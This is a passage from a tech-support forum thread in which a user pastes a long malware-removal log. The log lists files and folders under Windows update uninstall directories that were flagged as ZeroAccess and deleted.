    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970238$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970238$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970238$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970238$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB970238$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB970430$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970430$\http.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970430$\httpapi.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970430$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970430$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970430$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970430$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB970430$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970430$\strmfilt.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB971029$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971029$\shsvcs.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971029$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971029$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971029$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971029$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB971029$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB971468$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971468$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971468$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971468$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971468$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB971468$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971468$\srv.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB971513$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\oleacc.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\oleaccrc.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00003 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00004 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00006 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00007 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00008 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00009 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00010 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00011 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00012 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00013 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00014 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00015 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\spuninst\updspapi.dll -> Deleted
     
  9. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00016 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\reg00017 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB971513$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971513$\uiautomationcore.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB971657$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971657$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971657$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971657$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971657$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB971657$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971657$\wkssvc.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB971737$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971737$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971737$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971737$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971737$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB971737$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971737$\winhttp.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB971961$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971961$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971961$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971961$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB971961$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB971961$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB972270$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB972270$\fontsub.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB972270$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB972270$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB972270$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB972270$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB972270$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB972270$\t2embed.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973354$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973354$\msoe.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973354$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973354$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973354$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973354$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973354$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973507$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973507$\atl.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973507$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973507$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973507$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973507$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973507$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973540_WM9$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973540_WM9$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973540_WM9$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973540_WM9$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973540_WM9$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973540_WM9$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973540_WM9$\wmp.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973540_WM9$\wmpdxm.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973687$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973687$\msxml3.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973687$\msxml3.dll.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973687$\msxml6.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973687$\msxml6.dll.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973687$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973687$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973687$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973687$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973687$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973815$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973815$\mswebdvd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973815$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973815$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973815$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973815$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973815$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973869$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973869$\dhtmled.ocx -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973869$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973869$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973869$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973869$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973869$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973904$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973904$\html32.cnv -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973904$\msconv97.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973904$\mswrd6.wpc -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973904$\mswrd632.wpc -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973904$\mswrd8.wpc -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973904$\mswrd832.cnv -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973904$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973904$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973904$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973904$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB973904$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973904$\write.wpc -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB973904$\write32.wpc -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB974112$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974112$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974112$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974112$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974112$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB974112$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974112$\strmdll.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB974318$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974318$\raschap.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974318$\rastls.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974318$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974318$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974318$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974318$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB974318$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB974392$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974392$\oakley.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974392$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974392$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974392$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974392$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB974392$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB974571$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974571$\msasn1.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974571$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974571$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974571$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB974571$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB974571$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975025$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975025$\msaud32.acm -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975025$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975025$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975025$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975025$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975025$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975467$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975467$\msv1_0.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975467$\msv1_0.dll.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975467$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975467$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975467$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975467$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975467$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975558_WM8$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975558_WM8$\mp4sdecd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975558_WM8$\mpg4ds32.ax -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975558_WM8$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975558_WM8$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975558_WM8$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975558_WM8$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975558_WM8$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975560$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975560$\msyuv.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975560$\quartz.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975560$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975560$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975560$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975560$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975560$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975561$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975561$\moviemk.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975561$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975561$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975561$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975561$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975561$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975562$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975562$\quartz.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975562$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975562$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975562$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975562$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975562$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975713$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975713$\shlwapi.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975713$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975713$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975713$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB975713$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB975713$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB977165-v2$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977165-v2$\ntkrnlmp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977165-v2$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977165-v2$\ntkrnlpa.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977165-v2$\ntkrpamp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977165-v2$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977165-v2$\ntoskrnl.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977165-v2$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977165-v2$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977165-v2$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977165-v2$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB977165-v2$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB977816$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977816$\l3codeca.acm -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977816$\l3codecx.ax -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977816$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977816$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977816$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977816$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB977816$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB977914$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977914$\avifil32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977914$\iyuv_32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977914$\msrle32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977914$\msvidc32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977914$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977914$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977914$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977914$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB977914$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB977914$\tsbyuv.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978037$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978037$\csrsrv.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978037$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978037$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978037$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978037$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978037$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978251$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978251$\mrxsmb.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978251$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978251$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978251$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978251$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978251$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978262$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978262$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978262$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978262$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978262$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978262$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978262$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978338$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978338$\6to4svc.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978338$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978338$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978338$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978338$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978338$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978338$\tcpip6.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978542$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978542$\inetcomm.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978542$\msoe.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978542$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978542$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978542$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978542$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978542$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978601$ -> Deleted

